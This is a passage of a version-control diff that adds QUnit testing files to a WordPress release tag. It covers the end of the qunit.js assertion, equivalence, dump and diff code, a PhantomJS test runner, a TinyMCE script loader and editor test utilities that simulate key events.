+				if ( !this.assertions[i].result ) {
+					bad++;
+					config.stats.bad++;
+					config.moduleStats.bad++;
+				}
+			}
+		}
+
+		runLoggingCallbacks( "testDone", QUnit, {
+			name: this.testName,
+			module: this.module,
+			failed: bad,
+			passed: this.assertions.length - bad,
+			total: this.assertions.length,
+			runtime: this.runtime,
+			// DEPRECATED: this property will be removed in 2.0.0, use runtime instead
+			duration: this.runtime
+		});
+
+		QUnit.reset();
+
+		config.current = undefined;
+	},
+
+	queue: function() {
+		var bad,
+			test = this;
+
+		synchronize(function() {
+			test.init();
+		});
+		function run() {
+			// each of these can by async
+			synchronize(function() {
+				test.setup();
+			});
+			synchronize(function() {
+				test.run();
+			});
+			synchronize(function() {
+				test.teardown();
+			});
+			synchronize(function() {
+				test.finish();
+			});
+		}
+
+		// `bad` initialized at top of scope
+		// defer when previous test run passed, if storage is available
+		bad = QUnit.config.reorder && defined.sessionStorage &&
+						+sessionStorage.getItem( "qunit-test-" + this.module + "-" + this.testName );
+
+		if ( bad ) {
+			run();
+		} else {
+			synchronize( run, true );
+		}
+	}
+};
+
+// `assert` initialized at top of scope
+// Assert helpers
+// All of these must either call QUnit.push() or manually do:
+// - runLoggingCallbacks( "log", .. );
+// - config.current.assertions.push({ .. });
+assert = QUnit.assert = {
+	/**
+	 * Asserts rough true-ish result.
+	 * @name ok
+	 * @function
+	 * @example ok( "asdfasdf".length > 5, "There must be at least 5 chars" );
+	 */
+	ok: function( result, msg ) {
+		if ( !config.current ) {
+			throw new Error( "ok() assertion outside test context, was " + sourceFromStacktrace(2) );
+		}
+		result = !!result;
+		msg = msg || ( result ? "okay" : "failed" );
+
+		var source,
+			details = {
+				module: config.current.module,
+				name: config.current.testName,
+				result: result,
+				message: msg
+			};
+
+		msg = "<span class='test-message'>" + escapeText( msg ) + "</span>";
+
+		if ( !result ) {
+			source = sourceFromStacktrace( 2 );
+			if ( source ) {
+				details.source = source;
+				msg += "<table><tr class='test-source'><th>Source: </th><td><pre>" +
+					escapeText( source ) +
+					"</pre></td></tr></table>";
+			}
+		}
+		runLoggingCallbacks( "log", QUnit, details );
+		config.current.assertions.push({
+			result: result,
+			message: msg
+		});
+	},
+
+	/**
+	 * Assert that the first two arguments are equal, with an optional message.
+	 * Prints out both actual and expected values.
+	 * @name equal
+	 * @function
+	 * @example equal( format( "Received {0} bytes.", 2), "Received 2 bytes.", "format() replaces {0} with next argument" );
+	 */
+	equal: function( actual, expected, message ) {
+		/*jshint eqeqeq:false */
+		QUnit.push( expected == actual, actual, expected, message );
+	},
+
+	/**
+	 * @name notEqual
+	 * @function
+	 */
+	notEqual: function( actual, expected, message ) {
+		/*jshint eqeqeq:false */
+		QUnit.push( expected != actual, actual, expected, message );
+	},
+
+	/**
+	 * @name propEqual
+	 * @function
+	 */
+	propEqual: function( actual, expected, message ) {
+		actual = objectValues(actual);
+		expected = objectValues(expected);
+		QUnit.push( QUnit.equiv(actual, expected), actual, expected, message );
+	},
+
+	/**
+	 * @name notPropEqual
+	 * @function
+	 */
+	notPropEqual: function( actual, expected, message ) {
+		actual = objectValues(actual);
+		expected = objectValues(expected);
+		QUnit.push( !QUnit.equiv(actual, expected), actual, expected, message );
+	},
+
+	/**
+	 * @name deepEqual
+	 * @function
+	 */
+	deepEqual: function( actual, expected, message ) {
+		QUnit.push( QUnit.equiv(actual, expected), actual, expected, message );
+	},
+
+	/**
+	 * @name notDeepEqual
+	 * @function
+	 */
+	notDeepEqual: function( actual, expected, message ) {
+		QUnit.push( !QUnit.equiv(actual, expected), actual, expected, message );
+	},
+
+	/**
+	 * @name strictEqual
+	 * @function
+	 */
+	strictEqual: function( actual, expected, message ) {
+		QUnit.push( expected === actual, actual, expected, message );
+	},
+
+	/**
+	 * @name notStrictEqual
+	 * @function
+	 */
+	notStrictEqual: function( actual, expected, message ) {
+		QUnit.push( expected !== actual, actual, expected, message );
+	},
+
+	"throws": function( block, expected, message ) {
+		var actual,
+			expectedOutput = expected,
+			ok = false;
+
+		// 'expected' is optional
+		if ( !message && typeof expected === "string" ) {
+			message = expected;
+			expected = null;
+		}
+
+		config.current.ignoreGlobalErrors = true;
+		try {
+			block.call( config.current.testEnvironment );
+		} catch (e) {
+			actual = e;
+		}
+		config.current.ignoreGlobalErrors = false;
+
+		if ( actual ) {
+
+			// we don't want to validate thrown error
+			if ( !expected ) {
+				ok = true;
+				expectedOutput = null;
+
+			// expected is an Error object
+			} else if ( expected instanceof Error ) {
+				ok = actual instanceof Error &&
+					 actual.name === expected.name &&
+					 actual.message === expected.message;
+
+			// expected is a regexp
+			} else if ( QUnit.objectType( expected ) === "regexp" ) {
+				ok = expected.test( errorString( actual ) );
+
+			// expected is a string
+			} else if ( QUnit.objectType( expected ) === "string" ) {
+				ok = expected === errorString( actual );
+
+			// expected is a constructor
+			} else if ( actual instanceof expected ) {
+				ok = true;
+
+			// expected is a validation function which returns true is validation passed
+			} else if ( expected.call( {}, actual ) === true ) {
+				expectedOutput = null;
+				ok = true;
+			}
+
+			QUnit.push( ok, actual, expectedOutput, message );
+		} else {
+			QUnit.pushFailure( message, null, "No exception was thrown." );
+		}
+	}
+};
+
+/**
+ * @deprecated since 1.8.0
+ * Kept assertion helpers in root for backwards compatibility.
+ */
+extend( QUnit.constructor.prototype, assert );
+
+/**
+ * @deprecated since 1.9.0
+ * Kept to avoid TypeErrors for undefined methods.
+ */
+QUnit.constructor.prototype.raises = function() {
+	QUnit.push( false, false, false, "QUnit.raises has been deprecated since 2012 (fad3c1ea), use QUnit.throws instead" );
+};
+
+/**
+ * @deprecated since 1.0.0, replaced with error pushes since 1.3.0
+ * Kept to avoid TypeErrors for undefined methods.
+ */
+QUnit.constructor.prototype.equals = function() {
+	QUnit.push( false, false, false, "QUnit.equals has been deprecated since 2009 (e88049a0), use QUnit.equal instead" );
+};
+QUnit.constructor.prototype.same = function() {
+	QUnit.push( false, false, false, "QUnit.same has been deprecated since 2009 (e88049a0), use QUnit.deepEqual instead" );
+};
+
+// Test for equality any JavaScript type.
+// Author: Philippe Rathé <prathe@gmail.com>
+QUnit.equiv = (function() {
+
+	// Call the o related callback with the given arguments.
+	function bindCallbacks( o, callbacks, args ) {
+		var prop = QUnit.objectType( o );
+		if ( prop ) {
+			if ( QUnit.objectType( callbacks[ prop ] ) === "function" ) {
+				return callbacks[ prop ].apply( callbacks, args );
+			} else {
+				return callbacks[ prop ]; // or undefined
+			}
+		}
+	}
+
+	// the real equiv function
+	var innerEquiv,
+		// stack to decide between skip/abort functions
+		callers = [],
+		// stack to avoiding loops from circular referencing
+		parents = [],
+		parentsB = [],
+
+		getProto = Object.getPrototypeOf || function ( obj ) {
+			/*jshint camelcase:false */
+			return obj.__proto__;
+		},
+		callbacks = (function () {
+
+			// for string, boolean, number and null
+			function useStrictEquality( b, a ) {
+				/*jshint eqeqeq:false */
+				if ( b instanceof a.constructor || a instanceof b.constructor ) {
+					// to catch short annotation VS 'new' annotation of a
+					// declaration
+					// e.g. var i = 1;
+					// var j = new Number(1);
+					return a == b;
+				} else {
+					return a === b;
+				}
+			}
+
+			return {
+				"string": useStrictEquality,
+				"boolean": useStrictEquality,
+				"number": useStrictEquality,
+				"null": useStrictEquality,
+				"undefined": useStrictEquality,
+
+				"nan": function( b ) {
+					return isNaN( b );
+				},
+
+				"date": function( b, a ) {
+					return QUnit.objectType( b ) === "date" && a.valueOf() === b.valueOf();
+				},
+
+				"regexp": function( b, a ) {
+					return QUnit.objectType( b ) === "regexp" &&
+						// the regex itself
+						a.source === b.source &&
+						// and its modifiers
+						a.global === b.global &&
+						// (gmi) ...
+						a.ignoreCase === b.ignoreCase &&
+						a.multiline === b.multiline &&
+						a.sticky === b.sticky;
+				},
+
+				// - skip when the property is a method of an instance (OOP)
+				// - abort otherwise,
+				// initial === would have catch identical references anyway
+				"function": function() {
+					var caller = callers[callers.length - 1];
+					return caller !== Object && typeof caller !== "undefined";
+				},
+
+				"array": function( b, a ) {
+					var i, j, len, loop, aCircular, bCircular;
+
+					// b could be an object literal here
+					if ( QUnit.objectType( b ) !== "array" ) {
+						return false;
+					}
+
+					len = a.length;
+					if ( len !== b.length ) {
+						// safe and faster
+						return false;
+					}
+
+					// track reference to avoid circular references
+					parents.push( a );
+					parentsB.push( b );
+					for ( i = 0; i < len; i++ ) {
+						loop = false;
+						for ( j = 0; j < parents.length; j++ ) {
+							aCircular = parents[j] === a[i];
+							bCircular = parentsB[j] === b[i];
+							if ( aCircular || bCircular ) {
+								if ( a[i] === b[i] || aCircular && bCircular ) {
+									loop = true;
+								} else {
+									parents.pop();
+									parentsB.pop();
+									return false;
+								}
+							}
+						}
+						if ( !loop && !innerEquiv(a[i], b[i]) ) {
+							parents.pop();
+							parentsB.pop();
+							return false;
+						}
+					}
+					parents.pop();
+					parentsB.pop();
+					return true;
+				},
+
+				"object": function( b, a ) {
+					/*jshint forin:false */
+					var i, j, loop, aCircular, bCircular,
+						// Default to true
+						eq = true,
+						aProperties = [],
+						bProperties = [];
+
+					// comparing constructors is more strict than using
+					// instanceof
+					if ( a.constructor !== b.constructor ) {
+						// Allow objects with no prototype to be equivalent to
+						// objects with Object as their constructor.
+						if ( !(( getProto(a) === null && getProto(b) === Object.prototype ) ||
+							( getProto(b) === null && getProto(a) === Object.prototype ) ) ) {
+								return false;
+						}
+					}
+
+					// stack constructor before traversing properties
+					callers.push( a.constructor );
+
+					// track reference to avoid circular references
+					parents.push( a );
+					parentsB.push( b );
+
+					// be strict: don't ensure hasOwnProperty and go deep
+					for ( i in a ) {
+						loop = false;
+						for ( j = 0; j < parents.length; j++ ) {
+							aCircular = parents[j] === a[i];
+							bCircular = parentsB[j] === b[i];
+							if ( aCircular || bCircular ) {
+								if ( a[i] === b[i] || aCircular && bCircular ) {
+									loop = true;
+								} else {
+									eq = false;
+									break;
+								}
+							}
+						}
+						aProperties.push(i);
+						if ( !loop && !innerEquiv(a[i], b[i]) ) {
+							eq = false;
+							break;
+						}
+					}
+
+					parents.pop();
+					parentsB.pop();
+					callers.pop(); // unstack, we are done
+
+					for ( i in b ) {
+						bProperties.push( i ); // collect b's properties
+					}
+
+					// Ensures identical properties name
+					return eq && innerEquiv( aProperties.sort(), bProperties.sort() );
+				}
+			};
+		}());
+
+	innerEquiv = function() { // can take multiple arguments
+		var args = [].slice.apply( arguments );
+		if ( args.length < 2 ) {
+			return true; // end transition
+		}
+
+		return (function( a, b ) {
+			if ( a === b ) {
+				return true; // catch the most you can
+			} else if ( a === null || b === null || typeof a === "undefined" ||
+					typeof b === "undefined" ||
+					QUnit.objectType(a) !== QUnit.objectType(b) ) {
+				return false; // don't lose time with error prone cases
+			} else {
+				return bindCallbacks(a, callbacks, [ b, a ]);
+			}
+
+			// apply transition with (1..n) arguments
+		}( args[0], args[1] ) && innerEquiv.apply( this, args.splice(1, args.length - 1 )) );
+	};
+
+	return innerEquiv;
+}());
+
+/**
+ * jsDump Copyright (c) 2008 Ariel Flesler - aflesler(at)gmail(dot)com |
+ * http://flesler.blogspot.com Licensed under BSD
+ * (http://www.opensource.org/licenses/bsd-license.php) Date: 5/15/2008
+ *
+ * @projectDescription Advanced and extensible data dumping for Javascript.
+ * @version 1.0.0
+ * @author Ariel Flesler
+ * @link {http://flesler.blogspot.com/2008/05/jsdump-pretty-dump-of-any-javascript.html}
+ */
+QUnit.jsDump = (function() {
+	function quote( str ) {
+		return "\"" + str.toString().replace( /"/g, "\\\"" ) + "\"";
+	}
+	function literal( o ) {
+		return o + "";
+	}
+	function join( pre, arr, post ) {
+		var s = jsDump.separator(),
+			base = jsDump.indent(),
+			inner = jsDump.indent(1);
+		if ( arr.join ) {
+			arr = arr.join( "," + s + inner );
+		}
+		if ( !arr ) {
+			return pre + post;
+		}
+		return [ pre, inner + arr, base + post ].join(s);
+	}
+	function array( arr, stack ) {
+		var i = arr.length, ret = new Array(i);
+		this.up();
+		while ( i-- ) {
+			ret[i] = this.parse( arr[i] , undefined , stack);
+		}
+		this.down();
+		return join( "[", ret, "]" );
+	}
+
+	var reName = /^function (\w+)/,
+		jsDump = {
+			// type is used mostly internally, you can fix a (custom)type in advance
+			parse: function( obj, type, stack ) {
+				stack = stack || [ ];
+				var inStack, res,
+					parser = this.parsers[ type || this.typeOf(obj) ];
+
+				type = typeof parser;
+				inStack = inArray( obj, stack );
+
+				if ( inStack !== -1 ) {
+					return "recursion(" + (inStack - stack.length) + ")";
+				}
+				if ( type === "function" )  {
+					stack.push( obj );
+					res = parser.call( this, obj, stack );
+					stack.pop();
+					return res;
+				}
+				return ( type === "string" ) ? parser : this.parsers.error;
+			},
+			typeOf: function( obj ) {
+				var type;
+				if ( obj === null ) {
+					type = "null";
+				} else if ( typeof obj === "undefined" ) {
+					type = "undefined";
+				} else if ( QUnit.is( "regexp", obj) ) {
+					type = "regexp";
+				} else if ( QUnit.is( "date", obj) ) {
+					type = "date";
+				} else if ( QUnit.is( "function", obj) ) {
+					type = "function";
+				} else if ( typeof obj.setInterval !== undefined && typeof obj.document !== "undefined" && typeof obj.nodeType === "undefined" ) {
+					type = "window";
+				} else if ( obj.nodeType === 9 ) {
+					type = "document";
+				} else if ( obj.nodeType ) {
+					type = "node";
+				} else if (
+					// native arrays
+					toString.call( obj ) === "[object Array]" ||
+					// NodeList objects
+					( typeof obj.length === "number" && typeof obj.item !== "undefined" && ( obj.length ? obj.item(0) === obj[0] : ( obj.item( 0 ) === null && typeof obj[0] === "undefined" ) ) )
+				) {
+					type = "array";
+				} else if ( obj.constructor === Error.prototype.constructor ) {
+					type = "error";
+				} else {
+					type = typeof obj;
+				}
+				return type;
+			},
+			separator: function() {
+				return this.multiline ?	this.HTML ? "<br />" : "\n" : this.HTML ? "&nbsp;" : " ";
+			},
+			// extra can be a number, shortcut for increasing-calling-decreasing
+			indent: function( extra ) {
+				if ( !this.multiline ) {
+					return "";
+				}
+				var chr = this.indentChar;
+				if ( this.HTML ) {
+					chr = chr.replace( /\t/g, "   " ).replace( / /g, "&nbsp;" );
+				}
+				return new Array( this.depth + ( extra || 0 ) ).join(chr);
+			},
+			up: function( a ) {
+				this.depth += a || 1;
+			},
+			down: function( a ) {
+				this.depth -= a || 1;
+			},
+			setParser: function( name, parser ) {
+				this.parsers[name] = parser;
+			},
+			// The next 3 are exposed so you can use them
+			quote: quote,
+			literal: literal,
+			join: join,
+			//
+			depth: 1,
+			// This is the list of parsers, to modify them, use jsDump.setParser
+			parsers: {
+				window: "[Window]",
+				document: "[Document]",
+				error: function(error) {
+					return "Error(\"" + error.message + "\")";
+				},
+				unknown: "[Unknown]",
+				"null": "null",
+				"undefined": "undefined",
+				"function": function( fn ) {
+					var ret = "function",
+						// functions never have name in IE
+						name = "name" in fn ? fn.name : (reName.exec(fn) || [])[1];
+
+					if ( name ) {
+						ret += " " + name;
+					}
+					ret += "( ";
+
+					ret = [ ret, QUnit.jsDump.parse( fn, "functionArgs" ), "){" ].join( "" );
+					return join( ret, QUnit.jsDump.parse(fn,"functionCode" ), "}" );
+				},
+				array: array,
+				nodelist: array,
+				"arguments": array,
+				object: function( map, stack ) {
+					/*jshint forin:false */
+					var ret = [ ], keys, key, val, i;
+					QUnit.jsDump.up();
+					keys = [];
+					for ( key in map ) {
+						keys.push( key );
+					}
+					keys.sort();
+					for ( i = 0; i < keys.length; i++ ) {
+						key = keys[ i ];
+						val = map[ key ];
+						ret.push( QUnit.jsDump.parse( key, "key" ) + ": " + QUnit.jsDump.parse( val, undefined, stack ) );
+					}
+					QUnit.jsDump.down();
+					return join( "{", ret, "}" );
+				},
+				node: function( node ) {
+					var len, i, val,
+						open = QUnit.jsDump.HTML ? "&lt;" : "<",
+						close = QUnit.jsDump.HTML ? "&gt;" : ">",
+						tag = node.nodeName.toLowerCase(),
+						ret = open + tag,
+						attrs = node.attributes;
+
+					if ( attrs ) {
+						for ( i = 0, len = attrs.length; i < len; i++ ) {
+							val = attrs[i].nodeValue;
+							// IE6 includes all attributes in .attributes, even ones not explicitly set.
+							// Those have values like undefined, null, 0, false, "" or "inherit".
+							if ( val && val !== "inherit" ) {
+								ret += " " + attrs[i].nodeName + "=" + QUnit.jsDump.parse( val, "attribute" );
+							}
+						}
+					}
+					ret += close;
+
+					// Show content of TextNode or CDATASection
+					if ( node.nodeType === 3 || node.nodeType === 4 ) {
+						ret += node.nodeValue;
+					}
+
+					return ret + open + "/" + tag + close;
+				},
+				// function calls it internally, it's the arguments part of the function
+				functionArgs: function( fn ) {
+					var args,
+						l = fn.length;
+
+					if ( !l ) {
+						return "";
+					}
+
+					args = new Array(l);
+					while ( l-- ) {
+						// 97 is 'a'
+						args[l] = String.fromCharCode(97+l);
+					}
+					return " " + args.join( ", " ) + " ";
+				},
+				// object calls it internally, the key part of an item in a map
+				key: quote,
+				// function calls it internally, it's the content of the function
+				functionCode: "[code]",
+				// node calls it internally, it's an html attribute value
+				attribute: quote,
+				string: quote,
+				date: quote,
+				regexp: literal,
+				number: literal,
+				"boolean": literal
+			},
+			// if true, entities are escaped ( <, >, \t, space and \n )
+			HTML: false,
+			// indentation unit
+			indentChar: "  ",
+			// if true, items in a collection, are separated by a \n, else just a space.
+			multiline: true
+		};
+
+	return jsDump;
+}());
+
+/*
+ * Javascript Diff Algorithm
+ *  By John Resig (http://ejohn.org/)
+ *  Modified by Chu Alan "sprite"
+ *
+ * Released under the MIT license.
+ *
+ * More Info:
+ *  http://ejohn.org/projects/javascript-diff-algorithm/
+ *
+ * Usage: QUnit.diff(expected, actual)
+ *
+ * QUnit.diff( "the quick brown fox jumped over", "the quick fox jumps over" ) == "the  quick <del>brown </del> fox <del>jumped </del><ins>jumps </ins> over"
+ */
+QUnit.diff = (function() {
+	/*jshint eqeqeq:false, eqnull:true */
+	function diff( o, n ) {
+		var i,
+			ns = {},
+			os = {};
+
+		for ( i = 0; i < n.length; i++ ) {
+			if ( !hasOwn.call( ns, n[i] ) ) {
+				ns[ n[i] ] = {
+					rows: [],
+					o: null
+				};
+			}
+			ns[ n[i] ].rows.push( i );
+		}
+
+		for ( i = 0; i < o.length; i++ ) {
+			if ( !hasOwn.call( os, o[i] ) ) {
+				os[ o[i] ] = {
+					rows: [],
+					n: null
+				};
+			}
+			os[ o[i] ].rows.push( i );
+		}
+
+		for ( i in ns ) {
+			if ( hasOwn.call( ns, i ) ) {
+				if ( ns[i].rows.length === 1 && hasOwn.call( os, i ) && os[i].rows.length === 1 ) {
+					n[ ns[i].rows[0] ] = {
+						text: n[ ns[i].rows[0] ],
+						row: os[i].rows[0]
+					};
+					o[ os[i].rows[0] ] = {
+						text: o[ os[i].rows[0] ],
+						row: ns[i].rows[0]
+					};
+				}
+			}
+		}
+
+		for ( i = 0; i < n.length - 1; i++ ) {
+			if ( n[i].text != null && n[ i + 1 ].text == null && n[i].row + 1 < o.length && o[ n[i].row + 1 ].text == null &&
+						n[ i + 1 ] == o[ n[i].row + 1 ] ) {
+
+				n[ i + 1 ] = {
+					text: n[ i + 1 ],
+					row: n[i].row + 1
+				};
+				o[ n[i].row + 1 ] = {
+					text: o[ n[i].row + 1 ],
+					row: i + 1
+				};
+			}
+		}
+
+		for ( i = n.length - 1; i > 0; i-- ) {
+			if ( n[i].text != null && n[ i - 1 ].text == null && n[i].row > 0 && o[ n[i].row - 1 ].text == null &&
+						n[ i - 1 ] == o[ n[i].row - 1 ]) {
+
+				n[ i - 1 ] = {
+					text: n[ i - 1 ],
+					row: n[i].row - 1
+				};
+				o[ n[i].row - 1 ] = {
+					text: o[ n[i].row - 1 ],
+					row: i - 1
+				};
+			}
+		}
+
+		return {
+			o: o,
+			n: n
+		};
+	}
+
+	return function( o, n ) {
+		o = o.replace( /\s+$/, "" );
+		n = n.replace( /\s+$/, "" );
+
+		var i, pre,
+			str = "",
+			out = diff( o === "" ? [] : o.split(/\s+/), n === "" ? [] : n.split(/\s+/) ),
+			oSpace = o.match(/\s+/g),
+			nSpace = n.match(/\s+/g);
+
+		if ( oSpace == null ) {
+			oSpace = [ " " ];
+		}
+		else {
+			oSpace.push( " " );
+		}
+
+		if ( nSpace == null ) {
+			nSpace = [ " " ];
+		}
+		else {
+			nSpace.push( " " );
+		}
+
+		if ( out.n.length === 0 ) {
+			for ( i = 0; i < out.o.length; i++ ) {
+				str += "<del>" + out.o[i] + oSpace[i] + "</del>";
+			}
+		}
+		else {
+			if ( out.n[0].text == null ) {
+				for ( n = 0; n < out.o.length && out.o[n].text == null; n++ ) {
+					str += "<del>" + out.o[n] + oSpace[n] + "</del>";
+				}
+			}
+
+			for ( i = 0; i < out.n.length; i++ ) {
+				if (out.n[i].text == null) {
+					str += "<ins>" + out.n[i] + nSpace[i] + "</ins>";
+				}
+				else {
+					// `pre` initialized at top of scope
+					pre = "";
+
+					for ( n = out.n[i].row + 1; n < out.o.length && out.o[n].text == null; n++ ) {
+						pre += "<del>" + out.o[n] + oSpace[n] + "</del>";
+					}
+					str += " " + out.n[i].text + nSpace[i] + pre;
+				}
+			}
+		}
+
+		return str;
+	};
+}());
+
+// For browser, export only select globals
+if ( typeof window !== "undefined" ) {
+	extend( window, QUnit.constructor.prototype );
+	window.QUnit = QUnit;
+}
+
+// For CommonJS environments, export everything
+if ( typeof module !== "undefined" && module.exports ) {
+	module.exports = QUnit;
+}
+
+
+// Get a reference to the global object, like window in browsers
+}( (function() {
+	return this;
+})() ));
Index: /tags/4.1.6/tests/qunit/editor/js/runner.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/js/runner.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/js/runner.js	(revision 33402)
@@ -0,0 +1,148 @@
+/*
+ * PhantomJS Runner QUnit Plugin 1.2.0
+ *
+ * PhantomJS binaries: http://phantomjs.org/download.html
+ * Requires PhantomJS 1.6+ (1.7+ recommended)
+ *
+ * Run with:
+ *   phantomjs runner.js [url-of-your-qunit-testsuite]
+ *
+ * e.g.
+ *   phantomjs runner.js http://localhost/qunit/test/index.html
+ */
+
+/*global phantom:false, require:false, console:false, window:false, QUnit:false */
+
+(function() {
+	'use strict';
+
+	var url, page, timeout,
+		args = require('system').args;
+
+	// arg[0]: scriptName, args[1...]: arguments
+	if (args.length < 2 || args.length > 3) {
+		console.error('Usage:\n  phantomjs runner.js [url-of-your-qunit-testsuite] [timeout-in-seconds]');
+		phantom.exit(1);
+	}
+
+	url = args[1];
+	page = require('webpage').create();
+	if (args[2] !== undefined) {
+		timeout = parseInt(args[2], 10);
+	}
+
+	// Route `console.log()` calls from within the Page context to the main Phantom context (i.e. current `this`)
+	page.onConsoleMessage = function(msg) {
+		console.log(msg);
+	};
+
+	page.onInitialized = function() {
+		page.evaluate(addLogging);
+	};
+
+	page.onCallback = function(message) {
+		var result,
+			failed;
+
+		if (message) {
+			if (message.name === 'QUnit.done') {
+				result = message.data;
+				failed = !result || !result.total || result.failed;
+
+				if (!result.total) {
+					console.error('No tests were executed. Are you loading tests asynchronously?');
+				}
+
+				phantom.exit(failed ? 1 : 0);
+			}
+		}
+	};
+
+	page.open(url, function(status) {
+		if (status !== 'success') {
+			console.error('Unable to access network: ' + status);
+			phantom.exit(1);
+		} else {
+			// Cannot do this verification with the 'DOMContentLoaded' handler because it
+			// will be too late to attach it if a page does not have any script tags.
+			var qunitMissing = page.evaluate(function() { return (typeof QUnit === 'undefined' || !QUnit); });
+			if (qunitMissing) {
+				console.error('The `QUnit` object is not present on this page.');
+				phantom.exit(1);
+			}
+
+			// Set a timeout on the test running, otherwise tests with async problems will hang forever
+			if (typeof timeout === 'number') {
+				setTimeout(function() {
+					console.error('The specified timeout of ' + timeout + ' seconds has expired. Aborting...');
+					phantom.exit(1);
+				}, timeout * 1000);
+			}
+
+			// Do nothing... the callback mechanism will handle everything!
+		}
+	});
+
+	function addLogging() {
+		window.document.addEventListener('DOMContentLoaded', function() {
+			var currentTestAssertions = [];
+
+			QUnit.log(function(details) {
+				var response;
+
+				// Ignore passing assertions
+				if (details.result) {
+					return;
+				}
+
+				response = details.message || '';
+
+				if (typeof details.expected !== 'undefined') {
+					if (response) {
+						response += ', ';
+					}
+
+					response += 'expected: ' + details.expected + ', but was: ' + details.actual;
+				}
+
+				if (details.source) {
+					response += "\n" + details.source;
+				}
+
+				currentTestAssertions.push('Failed assertion: ' + response);
+			});
+
+			QUnit.testDone(function(result) {
+				var i,
+					len,
+					name = '';
+
+				if (result.module) {
+					name += result.module + ': ';
+				}
+				name += result.name;
+
+				if (result.failed) {
+					console.log('\n' + 'Test failed: ' + name);
+
+					for (i = 0, len = currentTestAssertions.length; i < len; i++) {
+						console.log('    ' + currentTestAssertions[i]);
+					}
+				}
+
+				currentTestAssertions.length = 0;
+			});
+
+			QUnit.done(function(result) {
+				console.log('\n' + 'Took ' + result.runtime +  'ms to run ' + result.total + ' tests. ' + result.passed + ' passed, ' + result.failed + ' failed.');
+
+				if (typeof window.callPhantom === 'function') {
+					window.callPhantom({
+						'name': 'QUnit.done',
+						'data': result
+					});
+				}
+			});
+		}, false);
+	}
+})();
Index: /tags/4.1.6/tests/qunit/editor/js/tinymce_loader.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/js/tinymce_loader.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/js/tinymce_loader.js	(revision 33402)
@@ -0,0 +1,17 @@
+// Edited for WordPress
+(function() {
+	var baseURL;
+
+	// Get base where the tinymce script is located
+	var scripts = document.getElementsByTagName('script');
+	for ( var i = 0; i < scripts.length; i++ ) {
+		var src = scripts[i].src;
+
+		if ( /tinymce_loader\.js/.test( src ) ) {
+			baseURL = src.substring( 0, src.indexOf('/tests/qunit/') );
+			break;
+		}
+	}
+
+	document.write('<script src="' + baseURL + '/src/wp-includes/js/tinymce/tinymce.min.js"></script>');
+})();
Index: /tags/4.1.6/tests/qunit/editor/js/utils.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/js/utils.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/js/utils.js	(revision 33402)
@@ -0,0 +1,397 @@
+(function() {
+	function fontFace(face) {
+		if (tinymce.isOpera) {
+			return "'" + face + "'";
+		} else {
+			return face;
+		}
+	}
+
+	function findContainer(selector) {
+		var container;
+		if (tinymce.is(selector, 'string')) {
+			container = editor.dom.select(selector)[0];
+		} else {
+			container = selector;
+		}
+		if (container.firstChild) {
+			container = container.firstChild;
+		}
+		return container;
+	}
+
+	function setSelection(startSelector, startOffset, endSelector, endOffset) {
+		if (!endSelector) {
+			endSelector = startSelector;
+			endOffset = startOffset;
+		}
+		var startContainer = findContainer(startSelector);
+		var endContainer = findContainer(endSelector);
+		var rng = editor.dom.createRng();
+
+		function setRange(container, offset, start) {
+			offset = offset || 0;
+
+			if (offset === 'after') {
+				if (start) {
+					rng.setStartAfter(container);
+				} else {
+					rng.setEndAfter(container);
+				}
+				return;
+			} else if (offset === 'afterNextCharacter') {
+				container = container.nextSibling;
+				offset = 1;
+			}
+			if (start) {
+				rng.setStart(container, offset);
+			} else {
+				rng.setEnd(container, offset);
+			}
+		}
+
+		setRange(startContainer, startOffset, true);
+		setRange(endContainer, endOffset, false);
+		editor.selection.setRng(rng);
+	}
+
+	function trimContent(content) {
+		return content.replace(/^<p>&nbsp;<\/p>\n?/, '').replace(/\n?<p>&nbsp;<\/p>$/, '');
+	}
+
+	/**
+	 * Fakes a key event.
+	 *
+	 * @param {Element/String} e DOM element object or element id to send fake event to.
+	 * @param {String} na Event name to fake like "keydown".
+	 * @param {Object} o Optional object with data to send with the event like keyCode and charCode.
+	 */
+	function fakeKeyEvent(e, na, o) {
+		var ev;
+
+		o = tinymce.extend({
+			keyCode : 13,
+			charCode : 0
+		}, o);
+
+		e = tinymce.DOM.get(e);
+
+		if (e.fireEvent) {
+			ev = document.createEventObject();
+			tinymce.extend(ev, o);
+			e.fireEvent('on' + na, ev);
+			return;
+		}
+
+		if (document.createEvent) {
+			try {
+				// Fails in Safari
+				ev = document.createEvent('KeyEvents');
+				ev.initKeyEvent(na, true, true, window, false, false, false, false, o.keyCode, o.charCode);
+			} catch (ex) {
+				ev = document.createEvent('Events');
+				ev.initEvent(na, true, true);
+
+				ev.keyCode = o.keyCode;
+				ev.charCode = o.charCode;
+			}
+		} else {
+			ev = document.createEvent('UIEvents');
+
+			if (ev.initUIEvent) {
+				ev.initUIEvent(na, true, true, window, 1);
+			}
+
+			ev.keyCode = o.keyCode;
+			ev.charCode = o.charCode;
+		}
+
+		e.dispatchEvent(ev);
+	}
+
+	function normalizeRng(rng) {
+		if (rng.startContainer.nodeType == 3) {
+			if (rng.startOffset === 0) {
+				rng.setStartBefore(rng.startContainer);
+			} else if (rng.startOffset >= rng.startContainer.nodeValue.length - 1) {
+				rng.setStartAfter(rng.startContainer);
+			}
+		}
+
+		if (rng.endContainer.nodeType == 3) {
+			if (rng.endOffset === 0) {
+				rng.setEndBefore(rng.endContainer);
+			} else if (rng.endOffset >= rng.endContainer.nodeValue.length - 1) {
+				rng.setEndAfter(rng.endContainer);
+			}
+		}
+
+		return rng;
+	}
+
+	// TODO: Replace this with the new event logic in 3.5
+	function type(chr) {
+		var editor = tinymce.activeEditor, keyCode, charCode, evt, startElm, rng;
+
+		function fakeEvent(target, type, evt) {
+			editor.dom.fire(target, type, evt);
+		}
+
+		// Numeric keyCode
+		if (typeof(chr) == "number") {
+			charCode = keyCode = chr;
+		} else if (typeof(chr) == "string") {
+			// String value
+			if (chr == '\b') {
+				keyCode = 8;
+				charCode = chr.charCodeAt(0);
+			} else if (chr == '\n') {
+				keyCode = 13;
+				charCode = chr.charCodeAt(0);
+			} else {
+				charCode = chr.charCodeAt(0);
+				keyCode = charCode;
+			}
+		} else {
+			evt = chr;
+		}
+
+		evt = evt || {keyCode: keyCode, charCode: charCode};
+
